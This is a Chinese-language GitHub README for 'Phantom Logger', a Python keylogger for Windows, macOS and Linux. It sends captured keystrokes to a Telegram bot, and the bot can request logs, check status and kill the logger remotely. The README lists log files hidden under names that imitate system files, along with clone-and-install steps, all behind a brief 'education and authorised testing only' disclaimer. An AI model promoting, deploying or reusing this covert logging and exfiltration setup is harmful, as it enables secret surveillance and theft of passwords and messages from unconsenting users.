RykerWilder/phantom-logger

GitHub: RykerWilder/phantom-logger

一个跨平台的 Python 键盘记录器,捕获按键输入并通过 Telegram Bot 远程管理和回传日志,供安全教育与授权渗透测试使用。

Stars: 2 | Forks: 0

# Phantom Logger 一个使用 Python 编写的跨平台键盘记录器,可捕获键盘输入并按需将格式化的日志发送至 Telegram bot。该工具演示了在 Windows、macOS 和 Linux 系统上的键盘记录功能。 **⚠️ 仅供教育目的:此工具专为网络安全教育和授权的渗透测试而设计。未经授权使用键盘记录器是非法且不道德的。在部署此软件之前,请务必获得明确的许可。** ## Telegram Bot 命令 - `/logs`: 以 .txt 格式发送日志 - `/status`: 发送消息以检查 Phantom Logger 状态 - `/kill`: 销毁 Phantom Logger ## 特定平台的日志位置 - **Windows**: `%LOCALAPPDATA%\Microsoft\Event Viewer\ExternalLogs.dat` - **macOS**: `~/Library/Caches/.com.apple.bird.plist` - **Linux**: `~/.cache/.fontconfig-timestamp.dat` ## 环境要求 - Python 3.7+ - Telegram Bot Token(从 [@BotFather](https://t.me/botfather) 获取) - Telegram Chat ID ## 安装说明 1. 克隆仓库 ``` git clone https://github.com/RykerWilder/phantom-logger ``` 2. 进入目录 ``` cd phantom-logger ``` 3. 创建虚拟环境并激活 ``` python3 -m venv venv source venv/bin/activate ``` 4. 安装依赖 ``` pip3 install -r requirements.txt ``` ## 项目结构 ``` phantom-logger/ ├── main.py ├── modules/ │ ├── __init__.py │ ├── logger.py │ ├── telegram_bot.py │ ├── formatter.py │ └── utils.py ├── build.sh ├── requirements.txt └── .env ``` ## 免责声明
标签:应用安全, 逆向工具